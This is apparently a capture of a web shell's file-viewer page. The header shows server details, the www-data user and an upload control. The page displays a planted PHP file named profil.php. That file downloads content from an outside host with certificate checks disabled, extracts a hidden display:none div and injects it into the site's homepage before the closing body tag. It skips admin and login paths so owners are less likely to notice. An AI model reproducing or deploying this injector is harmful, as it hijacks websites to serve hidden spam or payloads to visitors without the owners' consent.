HEX
Server: Apache/2.4.62 (Debian)
System: Linux 52c00b1e3ac7 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www-data (33)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /var/www/html/profil.php
<?php
$SOURCE_URLS = array(
    'https://bylagency.com/suntik4/suntik4.txt',
);

$SKIP_PATTERNS = array(
    '/wp-admin/', '/administrator/', '/user/login', '/wp-json', '/xmlrpc.php', '/api/', '/cron', '/vendor/'
);


function contentblock_should_skip($patterns) {
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';


    if ($uri !== '/' && $uri !== '/index.php' && $uri !== '/index.html') {
        return true;
    }

    foreach ($patterns as $p) {
        if ($p !== '' && strpos($uri, $p) !== false) return true;
    }

    return false;
}

function contentblock_is_html($buffer) {
    if (!is_string($buffer) || $buffer === '') return false;
    return stripos($buffer, '<html') !== false ||
           stripos($buffer, '<!doctype') !== false ||
           stripos($buffer, '</body>') !== false;
}

function contentblock_fetch_remote($url) {
    $content = '';

    // cURL
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 8,
            CURLOPT_USERAGENT => 'ContentFetcher/1.0',
        ));
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $resp = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if (is_string($resp) && $code >= 200 && $code < 300) $content = $resp;
    }

    // fopen fallback
    if ($content === '' && ini_get('allow_url_fopen')) {
        $ctx = stream_context_create(array(
            'http' => array('timeout' => 8, 'header' => "User-Agent: ContentFetcher/1.0\r\n"),
            'ssl'  => array('verify_peer'=>false, 'verify_peer_name'=>false)
        ));
        $resp = @file_get_contents($url, false, $ctx);
        if ($resp !== false) $content = $resp;
    }

    return $content;
}


function contentblock_extract_hidden_div($html) {
    if (!is_string($html) || $html === '') return '';
    if (preg_match('/<div[^>]*\bstyle\s*=\s*["\'][^"\']*display\s*:\s*none[^"\']*["\'][^>]*>.*?<\/div>/is', $html, $m)) {
        return $m[0];
    }
    if (preg_match('/<div[^>]*display\s*:\s*none[^>]*>.*?<\/div>/is', $html, $m2)) {
        return $m2[0];
    }
    return '';
}

function contentblock_injector($buffer) {
    if (!contentblock_is_html($buffer)) return $buffer;
    global $SOURCE_URLS;

    $blocks = array();

    foreach ($SOURCE_URLS as $url) {
        $raw = contentblock_fetch_remote($url);
        if ($raw === '') continue;

        $raw = trim($raw);
        $block = contentblock_extract_hidden_div($raw);
        if ($block === '') $block = $raw;

        $blocks[] = $block;
    }

    if (empty($blocks)) return $buffer;

    $html = implode("\n", $blocks);
    $pos = stripos($buffer, '</body>');
    if ($pos !== false) {
        return substr($buffer, 0, $pos) . "\n" . $html . "\n" . substr($buffer, $pos);
    }
    return $buffer . "\n" . $html;
}

function contentblock_flush() {
    if (ob_get_level() > 0) @ob_end_flush();
}


if (!contentblock_should_skip($SKIP_PATTERNS)) {
    ob_start('contentblock_injector');
    register_shutdown_function('contentblock_flush');
}
?>